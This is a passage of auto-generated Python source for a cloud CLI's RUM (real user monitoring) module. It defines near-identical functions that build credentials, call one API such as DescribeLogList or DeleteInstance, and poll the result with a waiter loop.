search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataLogUrlInfo(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataLogUrlInfoRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataLogUrlInfo(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeTawInstances(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeTawInstancesRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeTawInstances(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataPerformancePage(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataPerformancePageRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataPerformancePage(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataLogUrlStatistics(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataLogUrlStatisticsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataLogUrlStatistics(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataFetchProject(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataFetchProjectRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataFetchProject(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteInstanceRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DeleteInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataStaticUrl(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataStaticUrlRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataStaticUrl(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doResumeInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.ResumeInstanceRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.ResumeInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataPerformanceProject(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataPerformanceProjectRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataPerformanceProject(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeError(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeErrorRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeError(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeLogList(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeLogListRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeLogList(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeOfflineLogs(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeOfflineLogsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeOfflineLogs(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateTawInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateTawInstanceRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.CreateTawInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribePvList(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
